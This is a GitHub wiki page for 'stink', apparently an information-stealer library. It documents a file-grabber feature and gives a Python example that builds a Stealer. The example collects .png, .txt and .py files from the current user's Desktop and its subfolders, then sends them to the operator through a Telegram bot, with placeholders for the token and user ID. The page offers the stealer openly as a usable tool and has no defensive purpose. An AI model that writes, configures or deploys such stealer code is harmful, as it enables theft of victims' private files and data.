-
Notifications
You must be signed in to change notification settings - Fork 55
Collection of specific files
Astaroth edited this page Nov 2, 2023
·
2 revisions
stink
has a built-in grabber for specified file formats in specified directories.
- Accepts 3 parameters:
-
paths
: list of directories in which to search for files. -
file_types
: file formats to be collected. -
check_sub_folders
: whether to collect files from subdirectories.
- Multiple grabbers can be specified.
from getpass import getuser
from stink import Stealer, Senders, Grabber
if __name__ == '__main__':
Stealer(
senders=[
Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)
],
grabbers=[
Grabber(
paths=[rf"C:\Users\{getuser()}\Desktop"],
file_types=[".png", ".txt", ".py"],
check_sub_folders=True
)
]
).run()